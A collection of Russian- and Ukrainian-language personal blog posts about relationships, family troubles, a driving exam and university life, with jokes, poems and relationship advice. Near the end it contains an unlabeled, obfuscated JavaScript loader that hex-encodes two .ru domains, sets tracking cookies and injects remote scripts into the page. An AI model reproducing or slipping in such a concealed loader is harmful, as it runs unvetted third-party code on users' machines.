Мне трудно описать людям Артема. Просто он другой. Я не мону сказать им, мол похож мужественностью на Олега, а рахговорами на Петю, а честностью на Юля с пятого. Он ни в чем не похож ни на кого из знакомых.. И когда я что-то говорю о нем, когда пытаюсь объяснить, я понимаю, что они думают совсем о другом и совсем не воспринимают с серьезностью, что он самый добрый, хороший, милый.. Они просто не знают как это. Быть таким человеком всегда, а не повыходным и праздникам или только со мной и с мамой. Он теперь как мой папа. Я говорю о них как об идеалных, но они оба непредсказуемо причиняют мне боль. И остается только лишь восхищение.. Это те люди, которые в трудных моментах поддержат как никто, а в обычные, простые дни от них пахнет одиночеством. Такой я себя чувствую. Мне надо больше

Нужные люди остаются. Остальных нужно научиться отпускать.

Порожнеча.

Як часто у вас є це відчуття, і чи взагалі відчуття це?Чи скоріш за все будь-яка відсутність його?Особисто я незнаю.Те, що раніше дарувало мені радість чи сум, біль чи щастя, більше не приносить нічого…У мене є лише сотні думок в голові, які я неможу скласти докупи, мабуть тому так довго і не писала тут і мабуть час найти натхнення та гармонію у самій собі.Обіцяю я це зроблю, бо моє життя дедалі більше стає схожим лише на існування…..

Втікайте від порожнечі, так швидко, наскільки можете, я теж буду.

Ожидание - самое мучительное время на свете.

я ненавижу просыпаться в пустоте,
искать тебя похмельным взглядом.
я ненавижу думать о тебе,
и не иметь возможности быть рядом.

gifs by x

Майк Ханниган и Фиби Буффе | "Друзья" 9х03

Привет это все ещё….хотя с моим характером уверенным в этом можно быть только первые две минуты или одну. Перспективы стать офисным клерком…отдать себя в рабский труд кажется мне фоновой…или отличной зависит от того времени когда задать вопрос. Бармен афигенная идея…хочется. Ощущение обделенности растёт…непонятно только чем. Тайфунами проносится моя ругань с тобой и утихает, а мне потом не по себе. Я только позже понимаю что я дибил, истерика, мешочек с фекалиями…мне трудно…я трудный. Меня угнетает моё прошлое…которого нет…это и угнетает. Ты прекрасна…в этом твоём безумном наивном ребячестве. Ты светлая…я тёмный. Ты простая…я трудный. Ты меня любишь…я тебя люблю… Мысли в моей голове…они…они мне не принадлежат. Живут сами собой и творят моё настроение. Ты когда-нибудь устанешь от меня…я стараюсь все исправить… Но я есть я. И я признаю что я мешочек с фекалиями. Я тебя очень люблю. Пока. Моё любимое радио…

раньше я не понимала, как может быть человека мало?

а сейчас понимаю. мне его мало. так мало, что я реально чувствую себя наркоманом

мне нужно видеть его, знать, что у него все хорошо.да даже слышать, как он дышит

я напоминаю маньяка. наркомана. да все и сразу.

он уходит - я тухну. он приходит - я спокойна, Счастлива и горю ярче всех звезд.

а потом понимаю, что если каждый день проводить вдвоем, ни на минуту не отходя, то можно сойти с ума и разойтись к чертям

ломка. мне мало тебя

инъекция тебядефицита под кожу,

пора признаваться - без тебя стало сложно

мяу

На моей работе работаю черти и творят ангелы. Как только я дочитаю книгу, я уйду, я заклинаю. Я уйду и покину все через секунду, но каждый раз, когда я собираюсь это сделать, он дает мне прочитать новую книгу и говорит, что я ошибаюсь.

Почему-то в пятницу очень хочется нихуя не делать. И не в пятницу тоже хочется, но в пятницу нихуя не делать хочется особенно сильно.

я не последняя скотина
за мною кто-то занимал

Решил не терять времени и впал в осеннюю депрессию уже сейчас.

Лайкаю всё, что смешно. Так что если я лайкнул твою аву, это не совсем комплимент.

Чтобы не возникало неловких пауз в разговоре просто начинайте танцевать под воображаемую музыку. Лучше быть психом чем скучным.

Женщины думают, что мужчина должен быть поддержкой и опорой, заботиться и беречь. Мужчины думают, что это женщина должна быть поддержкой и опорой, заботиться и беречь. И в этом вся проблема. Потому что быть поддержкой, опорой, заботиться и беречь должны меня.

Мнение должно меняться. Ты получаешь новую информацию, новый опыт, развиваешься. Если твое мнение остается прежним, значит ты, видимо, не способен думать, сравнивать, анализировать, выводы делать. Тупой ты, видимо.

– Лето заканчивается, пора искать хату на НГ.
– Сегодня 7 августа.
– ПОРА. ИСКАТЬ. ХАТУ. НА. НОВЫЙ. ГОД.

В школьные годы я бухал за гаражами, а в это время мои одноклассники учились танцевать тектоник. Я продолжаю бухать, а танцуют ли они? Нет.

Если во время рвоты закрывать глаза, то можно услышать шум моря.

Ледяная бездна боли сверкнула и растворилась в бесконечном визжащем хаосе ровно в ту секунду, как мне на лицо опять упал ебучий телефон.

Смысл жизни в том, чтобы просто лазить в интернете

Лишь проверив все лайки до конца, мы обретаем свободу

Как адвокат, советую взять самых длинных червяков харибо, айпад для особых сериальчиков, теплых носочков поярче, и залечь под одеяло

В чём отказала я тебе,
скажи?
Ты целовать просил —
я целовала.
Ты лгать просил, —
как помнишь, и во лжи
ни разу я тебе не отказала.
Всегда была такая, как хотел:
хотел — смеялась,
а хотел — молчала…
Но гибкости душевной есть предел,
и есть конец
у каждого начала.
Меня одну во всех грехах виня,
все обсудив
и все обдумав трезво,
желаешь ты, чтоб не было меня…
Не беспокойся —
я уже исчезла.

Искал наушники чтобы заняться пробежкой под музыку, а нашёл 500 рублей под диваном и собираюсь идти бухать

— Называйте меня Бонд, Джеймс Бонд
- 50 лет тебя Тамарой звал и дальше так называть буду, дура старая.

Не секрет, что друзья не растут в огороде,
даже если их там закопать.

Господи, я всего добьюсь.

проснулась поздно, где-то в 11. потом смотрела сериал "Друзья" 7 сезон уже (начала смотреть с 1 сезона). а в 4 вечера поехали на дачу к бабушке. позагарали и полили урожай. завтра может поедем на речку.

встретила Настю и Карину(бывшых одноклассниц), мы в хороших отношениях. узнала что К. учится на педагога иностранных языков(английский и немецкий), живет в общаге.

сегодня решили с парнем, когда поедем на учебу, где-то числа 24 августа. хотя билеты б уже надо заказать.

так и день прошел. я решила записывать сюда каждый день, все что со мной происходит. ведь потом спустя какое-то время интересно почитать.

Ох, как все сегодня закрутилось.Сегодня мне стукнуло аж целых 22 года.Старость уже не за горами, а я еще так много чего не успела в этой жизни)

Планировала этот день рождения не праздновать.Мама купила торт, мы думали вечерком с крестной просто посидеть попить кофейку с тортиком и ничего более.Но это оказалось не так.Пришел поздравлять брат Леша со своей семьей, а это главные мои собутыльники, ведь большую часть времени я сейчас провожу именно с ними.Его жена - это отдельный случай нашей семьи - приколитска еще та.Короче, уже не было куда их девать, брат пришел с бутылкой мартини, мы решили быстренько накрыть на стол все что было.Благо хоть что-то было=)

Тут пришла крестная, позже пришла еще вторая моя невестка и уже под вечер присоеденился мой второй брат.Короче было круто, мы насмеялись, потому что Лешка успел сорвать нам на кухне карниз, разлить на себя дорогой коньяк и хорошенько рассыпать коробку конфет)

Вот так, мой запланированный неприметный день рождения превратился в полноценную гулянку_))) Правда, я свое обещание даже сегодня исполнила и не пила ничего.

— Мама, я научился считать!
— Да? И что же ты считаешь?
— Я считаю всех говном.

всех тех кто спит на койке с краю
я узнаю издалека
у них покусаны волками
бока

Через 12 часов я уже приземлюсь в Кишеневе. Мой первый полёт. Папа не захотел ехать как обычно через Украину, мало ли. У меня пропали уже года три как ощущения мандража перед путешествиями, старею, что ль.

Гнилой ваш этот мир.
Скорей бы он сгорел до тла.

Устраиваюсь на работу. Стажировка. Там же все это "Вы должны уверенно идти к своей цели. Ваша цель. Вы четко знаете что хотите. Вы все время двигаетесь вперед" и все в таком духе. Задание написать цель и написать что для нее требуется. Я начинаю об этом мыслить настолько глобально, что в итоге я не знаю какая у меня цель. Да, выходит я человек без цели. Да, я неуверенна в себе. Да, я сука себя по частям собираю последние пару месяцев. И что мне завтра перед толпой народу сказать? Или разрыдаться как вариант. Мне 20 лет. 20 твою мать лет. Цель? Цели нет. Я стремлюсь к самореализации, к семье. Банальщина. Я не знаю чего хочу, соответственно не знаю как этого достичь, соответственно ничего не имею.

во мне скопилось слишком много негатива, и теперь мне нужно его куда-то девать. буду частями сливать сюда, ибо who cares.

данная проблема у меня началась с 20 июля, когда папуля вернулся из Мариуполя. после грандиозного скандала в конце июня он свалил на 3 недели, а потом вернулся, и с тех пор пытается добиться моего расположения. но сука. это пиздец, вот правда.

он старается заговорить со мной по поводу и без повода. он говорит мне какую-то херню, типа это интересно. он спрашивает, как дела у меня работе. АХУЕННО НА РАБОТЕ, БЛЕАТЬ. меня то увольняют, по повышают. он ВЫГОРАЖИВАЕТ меня везде, даже если его никто не спрашивает, и вообще он не в курсе дела, кто с кем ругается и по какому поводу. он спрашивает меня о том, когда я буду учить его английскому, говорит, какая я хозяюшка (сука, я ухожу из дома в 7.30 и прихожу в 19.30, у меня сил хватает лишь на поесть и свалиться спать, какое, к хренам, хозяйство?), что он может мне денег подкинуть (я сама щас кому хочешь подкину), он, что хуже всего, хочет, чтобы я его обнимала. потому что он же папуля. а папулю надо любить.

но я знаю. я знаю, что он меня боится. и он в жизни не извинится за то, что сделал и сказал. да и не в извинениях дело, потому что я и так не прощу его никогда, а в том, что его поведение значит "ну, я тебе наговнил, мне как бы неудобно, ну, забей на это, как будто ничего не было". потому что, по его мнению, ничего не было. потому что, с его точки зрения, то, что он мне говорил, является частью программы воспитания меня.

я не хочу, чтобы с ним случилось что-то катастрофическое, чтобы он умер, потому что это повлечет за собой проблемы куда большие, чем его существование. я просто хочу, чтобы он уехал обратно в Мариуполь. или вообще в Киев.

чтобы он исчез.

Как дурочка улыбалась ему, не могла наглядеться, и стеснялась, смущалась. Интересно было за ним наблюдать. Слушать его. Мне нравится его голос. Мне вообще нравится его вид. Его раскрасочки. И он сам нравится. Самое ужасное что я бы делала все-все что он мне говорит. Аж внутри замирает все. Какая-то борьба. И дразниться хочется. И не зналось что делать. Как отвечать. Что говорить. И в какой-то момент становилось неловко от молчания, но с другой стороны нормально было, не хотелось. Не привычно было. Что нельзя было его потрогать. Что он не мог потрогать меня. А хотелось.. я ждала сегодня. Понимала что что-то да обломается, не быть же такому счастью два дня подряд. Но он как-то обьянил так все, и мне показалось так правдиво это, что даже обрадовало в какой-то мере. Только не люблю когда обламывается что-то. Когда ждешь, надеешься, расчитываешь, а потом хуяк… Но главное честно. Боюсь только что надоем ему. Не хочу надоедать

У меня есть несколько заветных желаний. И одно из них-любоваться звездной ночью вместе с любимым человеком. Половину из этого сделала. Осталось вторая.

Здавствуй, trustbutverify )

«Хотелось обратно, но вдруг дыхание спёрло.
Казалось, стою по колено, но было уже по горло.»

-nothomb- , привеет))

"Ирина Федорова?" - сказал директор автошколы Андрей. "Да"-волнительно ответила я. "Вы же меняли паспорт? Паспортные данные новые?"-строго спросил он. "Да, меняла"- еще тише ответила я. "Вы понимаете, что вас могли не допустить до экзамена сейчас? Вы должны были предоставить ксерокопию нового паспорта нам". Я чувствовала, как мои щеки наливаются краской. Нас, 30 человек, завели в большой кабенит, уставленный компьютерами. Большой и злобный дяденька ГАИшник проверял наши паспорта и рассаживал за индивидуальные столы. "У вас есть 20 минут на 20 вопросов. Как будете готовы, нажмите на энтер". Я села и с мыслью о том, что завалить теорию в гаи просто позорно. Ответила на все вопросы, на экране высветилось "экзамен сдан" и со спокойной душой я пошла морально готовится к экзамену на площадке. Я сдавала площадку предпоследней, 2 с половиной часа ожидания на улице. Меня трясло, подташнивало, кружилась голова, потом резко отпускало и снова накрывало. Пришла моя очередь. Села, все настроила, за рулем не сидела 2 недели. Первое упражнение "эстакада" (для тех, кто не знает: машина стоит на горке и ты должен тронуться так, чтобы она не поехала назад. В лимите у тебя есть 20 см). Я мало отпустила педаль сцепления и машина поехала назад, я резко нажала по газам и остановилась в ожидании реакции инспектора и директора. Они шли ко мне молча. "Вот стыд то, самое простое упражлнение завалить из-за эмоций. "-крутилось в голове. Вдруг Андрей, подходя к багажнику машины, говорит:" очень интересно, как же у тебя так багажник открылся? Наверное, ногой на кнопку нажала". Измученный инспектор дал команду на выполнения следующего упражнения. Разворот в три приема я выполнила без проблем, как и параллельную парковку, не смотря на то, что моя левая нога тряслась, как ненормальная. Последний этап. Город. Безопасно и по всем правилам провезти инспектора по городу. В этот раз я была третей. Честно, я смутно помню, как сдавала и по какому маршруту ездила. Вроде бы было два правых поворота, два левых и разворот с разделительной полосой. "Паркуемся" -без эмоций произнес гаишник. Припарковалась, смотрю на инспектора, он на меня, потом кидаю взгляд на Андрея, он с улыбкой что-то показывает руками. Почему-то я решила выйти из машины. "Куда вы собрались Ирина ? Вы знаете, куда вам идти?" - сказал большой дяденька инспектор. "Нет, не знаю, извините, я немного нервничаю"- сдерживая дрожь в голосе, ответила я. Минутная пауза. "Ирина, скажите пожалуйста, посему вы так долго пропускали встречные машины на повороте налево, вы же могли проехать? Вы не одна на дороге и вам повезло, что про вас никто не сказал "доброго" слова". "Я же только начинающий водитель, плохо рассчитываю расстояние, тем более я хотела убедится в безопасности движения" - я всегда мастерски придумывала отмазки. "Ладно, закроем на это глаза, но в следующий раз так делать не стоит. Идите в МРЭО и ждите на первом этаже". Не передать словами, какие я испытывала эмоции, я просто вылетела из машины с широкой улыбкой, я готова была танцевать. Я обзвонила всех знакомых, мне хотелось поделиться своей радостью. Я сдала! Без взятки! С первого раза! Сама! Дальше шла не самая приятная приятная, но легкая процедура -просиживание в гаи в ожидании долгожданного водительского удостоверения. В 8 утра я приехала на экзамен и в 7 вечера оттуда вышла, но довольная и гордая собой. Папа уже оформил страховку на меня, машину я помыла. Теперь осталось на ней доехать до города и набираться навыка. Честно, если бы кто-нибудь год назад сказал мне, что я стану водителем, не поверила бы. Я так боялась машин, а про то, чтобы сесть за руль лучше не говорить вообще. И да, клянусь пропускать пешеходов. Всем добра, удачи и смелости, чтобы преодолевать свои страхи. P.s. У меня три категории:автомат, механика и мопед лол

перечитала свой старый блог…и как же мне нравилось читать комментарии и чувствовать поддержку девочек с вьюви.
некоторые еще есть, некоторые уже не пишут..а у меня ж ведь есть вещи о которых я молчу.
и не могу рассказать..

читать старые посты оказалось больно.

чем больше сериалов с субтитрами я смотрю, тем больше убеждаюсь, что самый худший из всех возможных акцентов - это русский, если говорить на английском разумеется, а самый привлекательный для меня, безусловно, ирландский, да именно ирландский, не британский, а так же австралийский.

мне просто нужен третий сезон 'free!' NOW
серьёзно, что за лето без пловцов

Я сегодня встречалась с В. Зачем? Не знаю. Сделать выводы.

Сделала. Меня практически "отпустило", я не хочу назад. То есть хочу, но не смогу. Эти его компании новых друзей, с которыми он бы меня всё равно не познакомил.. Ну уж нет. Я так не хочу. Пускай дальше гуляет. Ему это нужно. Сам говорит, что не готов к серьезным отношениям, маленький еще. Да, так оно и есть.

После встречи позвонила "своему" полицейскому (смешно звучит, однако). Он испуганно спросил, что случилось. На мой вопрос почему что-то должно было случиться, он ответил: "Ты мне никогда сама не звонила. Впервые звонишь!"

Вот так.

• Я иду своим путём, пусть он не такой как все, но он МОЙ.
• Я прекрасно понимаю, что я не самая лучшая женщина в мире, но это смотря в чьем мире.
• Люди, которые знакомятся со мной, думают, что я сейчас их прибью. А на самом деле я..…не так это
• Прежде чем заводить отношения с человеком, убедитесь, что это не я.
• Вообще-то со мной легко. Просто для этого надо быть со мной, а не где-то там.
• Так много камней брошено в меня, что ни один из них уже не страшен.
• Не слушаю тех, кто говорит, что я трачу жизнь впустую, ведь я хотя бы живу, а кто-то говорит.
• Я не умею сожалеть о том, что было и прошло. Я могу как-то относиться к прошлому, хорошо или плохо, но сожалеть — глупо. Сожаление — это неконструктивно, из чувства сожаления нельзя создать ничего полезного. К прошлому нужно относиться с благодарностью, потому что оно дало мне определённый опыт, из которого я извлекаю уроки и делаю выводы. Даже если опыт очень горький и тяжёлый, из него всё равно извлекаешь урок, становишься умнее, и за это ему огромное спасибо.
• Я человек со странностями. Думаю, каждый из нас слегка спятил по-своему.
• Сколько я себя помню, я всегда хотела быть «правильной». Беда в том, что определения «правильности» нет. И жить не по правилам всегда интереснее))
• Мне неважно, что обо мне говорят за моей спиной, пока обо мне говорят неправду.
• Я никому не буду доказывать, что я хорошая. Пусть мне попробуют доказать, что я плохая.
• Мне кажется, что я вам кажусь не такой, какой должна казаться.
• Ураааааааааааааааавновешена я.
• Дайте мне 12 часов, и я переверну Землю!
• Каждый видит, какой я кажусь, мало кто чувствует, какая я есть
• Я обычно либо хороша, либо хорош дьявольски.
• Я буду стремиться только к самому лучшему. Добьюсь всего того, чего хочу очень сильно!
• Я — человек, для которого уединение жизненно необходимо.
• Родилась давно, в тайне от родителей. По гороскопу Гусь. Плохо разбираюсь в музыке, любимый певец — Ленин. Хобби — косоглазие. В прошлой жизни была любимой лошадью любимого коня Будённого. Верю в смерть после жизни, в любовь после кекса и в крем от морщин. Мое любимое занятие — игра в снежки на раздевание. Пять лет работала в консерватории имени Чайковского — клала кафель в классе саксофона. Образование: образовалась путем слияния яйце клетки с пер матозоидом. Регулярно делаю две вещи: сплю с Брэд Питом и вру. Одеваюсь только в дорогих продуктовых магазинах. Накачала мышцы из Интернета. Но зато я белая ворона среди темных лошадок. А отношения с мужчинами не складываются в чемоданчик. Моя любимая еда — мезим. Еще увлекаюсь творчеством Николая Гумилёва и знаю около 80 рифм на слово Антон.
• Люблю маленьких детей Люблю лето, тёплый летний дождик и смеяться от всей души Люблю смотреть в глаза, которые светятся и блестят от счастья Люблю ночной город Люблю смотреть старые фотографии Люблю своих друзей, которые всегда помогут Люблю просто что-то делать Люблю путешествовать Люблю шоколад Люблю радоваться от мелочей Люблю просто любить и быть любимой.
• Мое одиночество имеет вкус и аромат. Острый вкус постоянства. Сладкий аромат верности. Оно всегда со мной.
• Я всегда говорю правду, даже когда вру.
• Протяну ноги в хорошие руки, грамотно сяду на шею.)

ладно, на самом деле мне ужасно сложно и тяжело,
то кажется, что осталось не так уж и много, что это "всего-лишь год", а не "аж целый год", то кажется, что я щас сдохну, как хочу посидеть у него в комнате под бесявую громкую музыку, или посмеяться на кухне над тем, как он играет с пацанами и орет у себя в комнате. или посмотреть с ним вместе все фильмы, которые ему нравятся, но которые я не смотрела. психануть из-за того, что ему холодно, а мне жарко спать, так тесно прижавшись друг к другу. \ мне кажется, что он уже через недельку вернется домой

я устала от собственной слабости

страх во мне. я сама страх. сама, сама, сама. мне страшно. потому что от этого зависит мое будущее. меня и моего любимого.

ты слышишь, не смей подводить своих близких. ты еще нужна этому миру. ты должна раскрыть себя.

Наконец вышел официальный приказ о моем поступлении, ура-ура! Несмотря на то, что я пошла на платку (и да, у меня такие отстойные баллы), все равно приятно видеть себя первой в списочке: з Хоть и я поступила в вуз, в который хотела не в самую первую очередь, все равно я рада, что поступила куда-то вообще. Потому что мне жаль людей, которые в силу определенных причин вообще не поступили, хотя и могли. И я завидую самой белой завистью ребятам с вьюи, поступившим в те университеты, в которые мечтали, вы молодцы!

Надеюсь, такого активиста, как я, университетская жизнь МГУДТ не разочарует, потому что мама и бабушка хотят, чтобы я посвятила себя еще чему-нибудь, кроме этой учёбы, которой отдала "лучшие" школьные годы х) А сама я в первую очередь жду собрание в университете и первое сентября, которое проведу в стенах нового для меня заведения: >

мы расстались. ты сделал свой выбор. надеюсь, что ты никогда не появишься в моей жизни, тварь.

теперь, когда мне становится грустно, я думаю, что я переутомилась и мне надо немножечко поспать.

такими темпами я буду спать и высыпаться. всегда.

Забыть тебя и улыбаться,
Стать вдруг кокеткой из кокеток,
В себе ночами не копаться —
Ты думаешь мне трудно это?

Не верить в чудо, убить надежду,
Стереть твой номер, не ждать ответа,
Назло тебе быть с кем-то нежной —
Ты думаешь мне трудно это?

Казаться лёгкой и безрассудной,
Делить и резать что неделимо —
Ты думаешь мне это трудно?
Да это просто… н е в ы н о с и м о

Я тут вот подумала…

Представьте себе, что каждый, кого вы упоминали хоть раз в блоге (а особенно те, кого упоминаем чаще всего!) узнают о существовании нашего мирка… зачитают всё это чудо…. и ахринеют :D Мне кажется, что все, о ком мы часто пишем будут думать что-то типа "WTF?! ЧЕГО ПРОИСХОДИТ ВООБЩЕ?! ЧТО ЗА БАБЫ ТУТ СИДЯТ?!"

Или если увидят наши посты с девичьими пошленькими мыслишками? Да они просто выпадут в осадок, ибо мы все такие из себя няшки, а тут просто у всех поголовно вечный недотрах, недожор, мы хотим трахать всё живое и по-хлеще наших месье ;)

Самое ужасное, я не знаю, что я к нему чувствовала. Он добился моего уважения и потерял его, иногда я им гордилась, а иногда он меня разочаровывал, я его любила не знаю как именно, но испытывала к нему теплые чувства, и в то же время ненавидела, хотела обнять и одновременно пристрелить, обижала и в то же время хотела пожалеть. Он вызывал моё восхищение, но порой и отвращение. Он единственный человек, который наверное сумел вызвать у меня все чувства, которые только можно было испытать.

За эти полгода много чего произошло в моей жизни. Например, неожиданно для себя, я начала курить. Фу, фе, бяка, скажите вы, но я отвечу, что и так это знаю, но ничего не могу уже поделать. Сейчас мне хватает на полнедели пачечки, потому что я перешла на Sobranie, которые стоят ни много, ни мало. Меня прельщает оформление и внешний вид самих сигарет \сказал будущий маркетолог\ и то, что одна сигарета курится около 10 минут. Сессия сделала свое дело плюс компания, чего не отрицаю, и все. Аня стала официально никотинозависимой. Не обошлась я и без избитой фразы, что "Я могу бросить, когда захочу". Но не смогу. Еще один пунктик. Узнает мой парень- убьет, узнает мама- убьет, друзья знают. Парапапапа.

Нет, с ума с не сошла, и понимаю, о чем пишу. Решила поделиться маленькими деталями своей жизни: В

Казино бед жек и шлюхи! Это не реально чарующее выражение зовущее твой внутренний мир в веселое приключение по не понятным ситуациями, повторяет мой один знакомый. Он мудак, хороший такой мудак, который носит не понятный браслет на руке, кожаную куртку и в каждой шутке напоминает то про наркотики, то про минет. Весело, забавно с ним, в его компании ты знаешь что вечер удался. Он центр, мать ее, притяжения вселенной и секса! Хотя, ты абсолютно не понимаешь, какого черта этому мудаку достается всё самое «вкусное». Женщины в нем видят идеал " Понимающего козла". Тот самый козел который и выслушает твою грустную историю за бутылкой не самого дорого вина, и в постели сможет довести ее до оргазма, зная что она была уже в нем с момента прелюдии! И все было бы так прекрасно если бы не чувства…которые умеют захлестывать тебя с головой, отключать напрочь содержимое черепной коробки и творить, что-то сумасшедшее, неподдающееся привычному рациональному и хладнокровному объяснению. Ну, в большинстве случаев! Я видал не один прецендент такого помутнения сознания, «вселения бесов» …и всегда задавался вопросом, как? Как, мать его, не дать своей крыше поехать?!! А вот Он это всё глушит в своей манере! Что до женщин они глушат точно также… Вопрос в том, кто же мудак?! Хотя как правило кто задается таким вопросом с него бум пиз….страдания, феминизма и прочего дерьма и начинается… Просто спите, просто любите Хотя нет, просто трахайтесь…..

У меня на календаре уже 11-ое число, а значит вчера Д. исполнилось 29 лет. Да уж. Помню, в прошлом году я поздравила его где-то в 6-7 утра, а потом рыдала как ненормальная.. Я поздравляла его и с Днем юриста. Он меня с Новым годом, Днем рождения и 8-ым марта. С 23 февраля я его, кстати, принципиально не поздравила. Он, конечно, служил в армии.. Но это не главное и не делает его мужчиной, я считаю) вот конкретно его) зачем я вообще пишу об этом? просто это какие-то уже слишком большие цифры)) еще годик и все, тридцать! 30 лет, капец! Ни жены, ни детей.. Ни совести, ничего. Эх, Даня, Даня)) По-любому он не ожидал, что я его не поздравлю) ну или он уже вообще не вспоминает обо мне, кто знает

И что же в субботу меня тянет так на всякого рода не понятные мысли? Почему Илья просто нельзя отдыхать в приятной компании и не думать не о чем? Наверное мой местами не понятный бред уже утомил Вас… Но ведь с половиной мы не знакомы, так что считайте что этого не было) Так вот сегодня одна моя знакомая обвинила меня в недоверии к женскому полу))) Правда смешно))) Какое нахрен недоверие??? Ммм? Это всего лишь один из аспектов нашей повседневно-бытовой жизни. Это совокупность чувств накопленный за немалый промежуток времени. Нет я доверяю, даже очень сильно, до сука самых маленьких нервных окончаний. Чтобы заслужить мое недоверие, надо очень постараться) Каждый день мы сталкиваемся с обманом. Нас обманывают банки, рестораны, автодиллеры, даже продавщица продав вам сегодня мороженное, при этом мило улыбаясь, где-то Вам соврала. И что давайте не покупать автомобили, мороженное и не пользоваться банковскими картами??? Бред? Так вот не доверять девушкам из-за каких либо в прошлом не удач, тоже бред) Не задавайте глупых вопросов) И не парьтесь. Поверьте "Ваше счастье Ва найдет!!! Ну а закончить хотелось бы цитатой Буковски: -Как можно доверять существу, которое каждый месяц кровоточит и не умирает?. Отдыхайте и не замораживайтесь…. Пускай будет не замораживайтесь)))

Первый вопрос для меня зачем!? Зачем я нашел этот сайт. Зачем вы будете читать это местами поносный, не демократичный бред!? Собственно вопросов с заголовком: "Зачем" в моей голове больше чем букв в этом тексте. Я постоянно думаю, размышляю… Мысли разнообразны. Также разнообразны как ужины каждый день или белье моей девушки. И можно было бы не обращать на них внимания если бы не Большое НО. Наши мысли меняют наше сознание. Меняют его каждый день. Мысли словно наркотик, нам хочется мечтать, любить, мечтать о новой машине. Мысли вряд ли материальны. Они скорее мутационно соединены с нашим интеллектом и образом жизни. Вывод!? Его нет. Укротите ваши мысли. Даже если это наркотик то лучше быть таким наркоманом, чем не мыслить и быть в социуме который отвергает их. Мыслите и будет вам допинг.

"Вся беда литературы в том, что в ней слишком много смысла. В реальной жизни никакого смысла нет."

я соскучилась
ууу, все, забудь

без комментариев

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19416", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Это капец. 14 апреля мой брат Артем сломал руку. Играл в школе в баскетбол, прыгнул и зацепился рукой за кольцо. Лучше не буду описывать подробности, но папа был весь бледный, когда Артема везли в больницу, про маму и говорить нечего. Перелом был открытый. В больнице руку вправили, наложили гипс. Какое-то время он лежал в больнице, потом выписали. Ходил на прием. Рука не срасталась. То есть, срасталась, но очень медленно. На последний прием в июне он не пошел, тк "там была большая очередь". Сказал об этом мне, попросил не говорить маме. Ну я, идиотка, и не сказала. Думала, что ничего страшного, потому что на приеме больше ничего не делали, гипс не меняли, только спрашивали обо всем. и сегодня папа звонит из деревни(я приехала, а Артем со своим другом остались там, мы вместе ездили, но я уехала раньше, т.к. было собрание в универе) и говорит, что у Артема болит рука. он играл в баскетбол!! ума нет. вызвали скорую, ему наложили гипс. мама вообще распереживалась вся. сказала папе, чтобы он вез Артема домой, но естественно тот его не повез, тк поехали они туда на поминки и он был выпивший. точнее, уже не выпивший, а пьяный и очень сильно. мама позвонила в такси, спросила, сколько будет стоить дорога туда и обратно(~180 км), в одном такси ответили, что 6 тысяч, в другом 4500. в общем, мы поехали с дедушкой. выехали в пол 9, приехали обратно во втором часу. эти там все пьяные. и бабушка и тетя и этот. мама его выгоняла, кстати, и он жил недели 2 фиг знает где, но потом, когда мы были с Артемом в деревне, она его пустила. ох, ну за 20-то лет можно было бы понять, что человек не изменится: (ладно, я очень устала от этой дороги, пойду спать

1. Каждую минуту помните, в чем цель ваших отношений

У нормальных людей цель отношений — обеспечить максимальный комфорт на длительное время, то есть делать счастливым себя и партнера. Вот и повторяйте это себе каждый раз, когда придет охота учить, лечить, критиковать вашего парня, срываться на нем во время ПМС, бурно ревновать, допытываться о его досуге, высказывать мнение о его друзьях, спорить о политике, религии и цвете его штанов.

Стоит ли ваша правота или интерес в конкретной ситуации того покоя и радости, которых вы лишаете партнера? На сеансах терапии я выслушиваю пару и каждого отдельно, так вот, не вдаваясь в антиэтичную конкретику, но соответствуя духу свободы, могу сказать: примерно две трети источников конфликта описываются схемой «баба придумала проблему на ровном месте и раздула отсутствие реакции на нее мужика до масштабов трагедии».

2. Хвалите его

Если он не стоит похвал и все делает криво, какого черта вы вообще делаете рядом с этим лузером? Уходите, не продлевайте агонию друг для друга, см. п. 1. Не будьте для него сварливой мамой, строгой начальницей, капризной дочкой — от всех этих ипостасей берите только позитивные составляющие: постоянную, но ненавязчивую заботу, заинтересованность в его росте, восхищение его крутизной.

